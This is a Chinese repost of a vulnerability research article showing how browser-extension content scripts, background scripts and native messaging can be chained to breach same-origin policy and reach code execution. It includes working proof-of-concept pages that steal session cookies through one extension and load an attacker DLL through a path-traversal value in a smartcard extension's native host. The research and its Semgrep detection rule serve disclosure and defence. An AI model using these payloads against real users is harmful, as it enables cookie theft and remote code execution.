通过浏览器扩展中的链接消息实现通用代码执行

admin 2024年8月18日01:34:33评论34 views字数 8445阅读28分9秒阅读模式

通过浏览器扩展中的链接消息实现通用代码执行

通过在浏览器和浏览器扩展中链接各种消息传递 API,我演示了如何从网页跳转到“通用代码执行”,从而破坏同源策略和浏览器沙盒。我提供了两个影响数百万用户的新漏洞披露作为示例。此外,我还演示了如何结合使用大型数据集查询和静态代码分析来大规模发现此类漏洞。

注意:扩展案例研究已于 4 月向其所有者披露,但尚未修补,因此受到审查。

简介

通用跨站点脚本 (XSS) 被描述为“最强大的 XSS”,因为它能够在任何网页上执行(因此是“通用的”)并且在某些情况下破坏同源策略。原因是漏洞存在于浏览器或浏览器扩展中,允许它超出单源的范围。

然而,由于浏览器扩展 API 的功能不断增长,以及危险的本地消息传递协议实现,一个更具影响力的漏洞可以被利用——通用代码执行。正如 Arseny Reutov 早在 2017 年在“Chrome 扩展中的 PostMessage 安全性”中所观察到的那样,有一种方法可以将消息从网页一直转发到本机应用程序,而且自那以后并没有太大的改进。不幸的是,漏洞研究的一个事实是,你只会在中途意识到另一位研究人员之前也采取了同样的方法,但仍然值得重新审视旧技术,看看它们是否仍然适用。

内容脚本消息

通常,浏览器扩展程序需要在用户访问的页面上下文中执行 JavaScript。例如,浏览器可能会修改页面的文档对象模型 (DOM)。这些扩展程序必须在其文件中声明内容脚本,例如:manifest.json

"content_scripts": [  {    "js": [      "js/contentscript.js"    ],    "matches": [      "http://*/*",      "https://*/*"    ],    "all_frames": true  }]

在这种情况下,js/contentscript.js扩展中的脚本将被注入到与模式匹配的任何页面的所有框架中。虽然理想情况下,模式应该严格限制在特定页面,但使用万能通配符的通用扩展(如示例)也很常见。

这当然是一种非常强大的功能,这就是为什么内容脚本被放置在称为“隔离世界”的私有执行环境中,从而大大限制了可能发生的损害(例如,如果内容脚本中存在 DOM XSS)。内容脚本无法访问网页上的 JavaScript 变量或其他注入的内容脚本,并且在单独的默认内容安全策略内运行,从而阻止内联 JavaScript 执行。

因此,为了执行除修改页面 DOM 之外的更复杂的功能,内容脚本必须将消息传递给在单独的页面上下文中运行的扩展程序的后台脚本或服务工作线程。一种常见的模式是,这些后台脚本充当从内容脚本传递的消息的事件处理程序,这些消息包含有关已加载网页的信息。

为此,内容脚本可以使用多个 API 与后台脚本进行通信。一种常见的方法是通过chrome.runtime.sendMessage()。

例如,内容脚本执行以下操作:

await chrome.runtime.sendMessage({greeting: "hello"});

当后台脚本等待消息处理程序时:

chrome.runtime.onMessage.addListener(  function(request, sender, sendResponse) {    console.log(sender.tab ?                "from a content script:" + sender.tab.url :                "from the extension");    if (request.greeting === "hello")      sendResponse({farewell: "goodbye"});  });

虽然可以跨扩展程序发送消息,但大多数扩展程序仅允许在自己的内容脚本和后台脚本之间传递消息。不幸的是,正如前面提到的,恶意网页可以通过多种方式闯入此对话。

postMessage() 到 sendMessage() 

扩展内容脚本中的一个常见漏洞模式是处理程序缺乏来源验证postMessage。

postMessage是一种独立于 的消息传递机制sendMessage,通常用于网页(而非扩展程序)的跨窗口/标签消息传递。但是,它为扩展程序开发人员提供了一种方便的方式,允许网页与隔离的内容脚本以及后台脚本进行通信。事实上,这是 Chrome 自己的开发人员文档 推荐的模式。

例如,考虑一个简单的用例,其中网页想要检查扩展的版本。回想一下,内容脚本在一个孤立的世界中运行,无法访问它们嵌入的网页中的 JavaScript 变量。但是,内容脚本仍然可以共享对页面 DOM 的访问权限,因此可以接收postMessage消息。

该网页可以运行以下命令:

document.getElementById("checkInstalledButton").addEventListener("click", () => {  window.postMessage(      {type: "CHECK_INSTALLED_VERSION", latestVersion: "1.2.3" }, "*");}, false);

当内容脚本监听消息时:

var port = chrome.runtime.connect();window.addEventListener("message", (event) => {  // We only accept messages from ourselves  if (event.source !== window) {    return;  }  if (event.data.type && (event.data.type === "CHECK_INSTALLED_VERSION")) {    console.log("Content script received: " + event.data.type);    port.postMessage(event.data);  }}, false);
值得注意的是,如果内容脚本中注入了通配符matches模式,事件源检查提供的保护将完全无效,因为这意味着任何来源仍然可以通过向自身发送 postMessage 来触发此网页内容脚本后台脚本通道。

通过浏览器扩展中的链接消息实现通用代码执行

违反同源

通过利用内容脚本和后台脚本之间的信任边界,恶意网页可以利用易受攻击的扩展的扩展功能轻松突破同源策略保护。

一个例子是拥有 300,000 名用户的“扩展程序 A”,它“为 提供了增强的用户体验” https://website-a.com。然而,扩展程序清单在每个页面上都注入了内容脚本,而不仅仅是https://website-a.com:

"content_scripts": [  {    "js": [      "js/jquery-3.2.1.min.js",      "js/contentscript.js",    ],    "matches": [      "http://*/*",      "https://*/*"    ],    "all_frames": true  }

此外,该扩展程序还具有访问多个其他来源的 cookie 的权限:

"permissions": [  "cookies",  "webRequest",  "webRequestBlocking",  "https://website-a.com/*",  "https://website-b.com/*",  "https://*.website-c.com/*"]

利用相同的嵌入页面通信模式,后台脚本接受以下消息类型,该消息类型仅返回请求域的所有 cookie:

chrome.runtime.onMessage.addListener(function(a, b, c) {  switch (a.Action) {    // ...    case "GETCOOKIE":        GetCookie(a, b.tab.id);        break;    // ...function GetCookie(a, b) {    chrome.cookies.getAll({        domain: a.URL    }, function(c) {        var d = [];        $(c).each(function() {            d.push({                name: this.name,                value: this.value,                domain: this.domain,                secure: this.secure,                path: this.path            })        });        a.Data = JSON.stringify(d);        SendMessage("ONRESULT", a, b)    })}

因此,任何域中包含以下脚本的任何网页都可以触发扩展程序将白名单域中的会话 cookie 返回到页面:

function runPoc() {               const payload = {        Action: "GETCOOKIE",        background: true,        URL: "website-a.com"    }    window.postMessage(payload, '*');          }setTimeout(runPoc, 1000)

这实际上是一次同源策略突破,因为https://example.com上的恶意页面现在可以访问https://website-a.com的 cookie 。

原生消息

然而,为了超越现有研究和仅限网络的影响,我们可以转向另一种浏览器扩展功能:本机消息传递。这允许后台脚本与主机操作系统本身上运行的本机应用程序进行通信。例如,从桌面上的本机密码管理器应用程序检索密码的密码管理器扩展。

这些本机应用程序必须声明一个本机消息传递主机清单文件,然后在启动应用程序时由浏览器引用该文件。

{  "name": "com.my_company.my_application",  "description": "My Application",  "path": "C:\Program Files\My Application\chrome_native_messaging_host.exe",  "type": "stdio",  "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]}

path一旦启动,浏览器将处理从扩展传递的消息到使用stdin和指定的进程stdout。然后后台脚本可以使用 发送消息chrome.runtime.sendNativeMessage():

chrome.runtime.sendNativeMessage(  'com.my_company.my_application',  {text: 'Hello'},  function (response) {    console.log('Received ' + response);  });

同时,本机应用程序可以以stdin任何它想要的方式处理消息——有时是危险的。

因此,我们得到了通用代码执行的完整链条:

  • 浏览器扩展具有内容脚本的通配符模式。

  • 内容脚本postMessage使用 将消息传递给后台脚本sendMessage。

  • 后台脚本使用 将消息传递给本机应用程序sendNativeMessage。

  • 本机应用程序以危险的方式处理该消息,导致代码执行。

通过浏览器扩展中的链接消息实现通用代码执行

大规模浏览器扩展漏洞

由于此链的要求比较狭窄,因此寻找此类扩展程序可能很困难。不过,借助chrome-extension-manifests-dataset项目,可以快速查询数十万个 Chrome 扩展程序以查找匹配的清单。

查询所有用户数大于 250,000、包含内容脚本并使用本机消息传递功能的 Chrome 扩展程序可以按如下方式完成:

node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"

此时,过滤掉通配符内容脚本匹配模式可能没有帮助,因为这可以用多种方式表达,包括<all_urls>。这产生了大约 229 个候选,可以使用 Semgrep 自定义代码扫描规则进一步缩小范围以查找易受攻击的postMessage处理程序。

rules:- id: content-script-postmessage-to-chrome-runtime-sendmessage  mode: taint  options:    interfile: true  message: Content script postmessage handler forwards data to chrome runtime.  languages:  - javascript  - typescript  severity: ERROR  pattern-sources:    - patterns:        - pattern-inside: window.addEventListener('message', function($EVENT) { ... }, ...)        - pattern-not: ... if (<... $EVENT.origin ...>) { ... } ...        - focus-metavariable: $EVENT  pattern-sinks:    - pattern: $CHROME_RUNTIME.sendMessage(...)    - pattern: port.postMessage(...)

智能卡中的命令执行

PKI(公钥基础设施)智能卡相关功能扩展中本机消息传递的一个常见用途。PKI 智能卡传统上用于无密码身份验证,但浏览器本身并不支持该功能,浏览器主要支持 WebAuthn 标准,而不是 FIDO2 和密钥。

因此,为了填补这一空白,想要使用 PKI 智能卡身份验证的网页依赖于与智能卡接口的本机应用程序通信的浏览器扩展。鉴于大量企业网站仍然依赖 PKI 智能卡,这些扩展拥有令人惊讶的庞大用户群。

其中一个扩展是拥有 200 万用户的扩展 B。从最新版本开始,该扩展会将其内容脚本注入所有页面。不幸的是,考虑到此扩展的性质,它“特意”允许 PKI 智能卡功能在任何页面上运行。

"content_scripts": [ {  "all_frames": true,  "js": [ "content.js" ],  "matches": [ "*://*/*", "file:///*" ],  "run_at": "document_start"} ]

内容脚本监听消息并将其传递给后台脚本。虽然看似存在源检查,但实际上是从消息数据本身中获取的,而消息数据可由发送者直接控制。

window.addEventListener("message", function(event) {    // We only accept messages from ourselves    if (event.source !== window)        return;    if (event.data.src && (event.data.src === "user_page.js")) {        event.data["origin"] = location.origin;        if (SDLogToConsole) {            console.log("From page: ");            console.log(event.data);        }        //Send Message to Extension        chrome.runtime.sendMessage(event.data, function(resp) {});    }});

反过来,后台脚本将消息直接传递给本机应用程序。

var port = chrome.runtime.connectNative("example.b.chrome.host");chrome.runtime.onMessage.addListener(  function(request, sender, sendResponse) {    console.log(sender.tab ?                "from a content script:" + sender.tab.url :                "From the extension");     if (port == null )   {  chrome.windows.create({url: "popup.html", type:"popup", top:100, left:100, width:630,height:320});  return true;   }   port.postMessage(request);     return true;  });

那么原生应用是如何处理该消息的呢?首先,我们必须确定与 关联的应用example.b.chrome.host。扩展的网站提供了针对各种操作系统的相应原生应用。还提供了一些集成源代码,二进制文件本身是一个 .NET 程序集。

stdin从那里,我们可以识别出将解析为包含键的 JSON 对象的消息解析代码action。对于该GetCertLib操作,它获取 JSON 对象中项目的值PKCS11Lib,并最终将其传递给在路径上加载 DLL 的函数PKCS11Lib。

public static TxnRespWithObj<List<X509Certificate2>> EnumerateSCCertificates(string PKCS11Lib)    {      List<X509Certificate2> x509Certificate2List = new List<X509Certificate2>();      TxnRespWithObj<List<X509Certificate2>> txnRespWithObj1;      try      {        string str = "C:\Windows\System32\" + PKCS11Lib;        if (!File.Exists(str))          return new TxnRespWithObj<List<X509Certificate2>>()          {            IsSuccess = false,            TxnOutcome = "Required Smartcard driver " + str + " not found. Install token drivers and try again."          };        using (IPkcs11Library pkcs11Library = PKCS11SCUnlock.Factories.Pkcs11LibraryFactory.LoadPkcs11Library(PKCS11SCUnlock.Factories, str, AppType.MultiThreaded))

这是 DLL 加载的一种非常常见的遍历模式,我也在ZScaler 客户端连接器中利用了它。

因此,通过首先触发恶意 DLL 文件的下载,然后发送带有操作的消息GetCertLib并PKCS11Lib指向下载位置,攻击者可以从任何网页跳转到完整的命令执行,只要受害者安装了扩展和匹配的本机应用程序。

<script>    // Function to handle incoming postMessage events    function receiveMessage(event) {        // Access the data sent from the other window/iframe        const receivedData = event.data;        // Create a new paragraph element to display the message        const newMessage = document.createElement('p');        newMessage.textContent = JSON.stringify(receivedData);        // Append the new message to the message container        const messageContainer = document.getElementById('messageContainer');        messageContainer.appendChild(newMessage);    }    // Add event listener to listen for postMessage events    window.addEventListener('message', receiveMessage);function runPoc() {window.postMessage({src: 'user_page.js', action: 'GetCertLib', PKCS11Lib: '..\..\..\..\..\Users\James\Downloads\payload.txt'}, "*")}function downloadPayload() {  const downloadLink = document.getElementById('download');  downloadLink.click()  setTimeout(runPoc, 2000);}setTimeout(downloadPayload, 2000);</script>

结论

在本文中,我将演示如何使用本机消息传递扩展浏览器扩展消息传递链以实现“通用代码执行”。借助大型数据集和静态代码分析自动化,可以找到大量具有大量用户群的可利用扩展。使用这种模式的一些扩展的性质使其难以在源头上保证安全,因此必须在链中的每个环节都小心处理。

原文始发于微信公众号(Ots安全):通过浏览器扩展中的链接消息实现通用代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日01:34:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过浏览器扩展中的链接消息实现通用代码执行https://cn-sec.com/archives/3074295.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息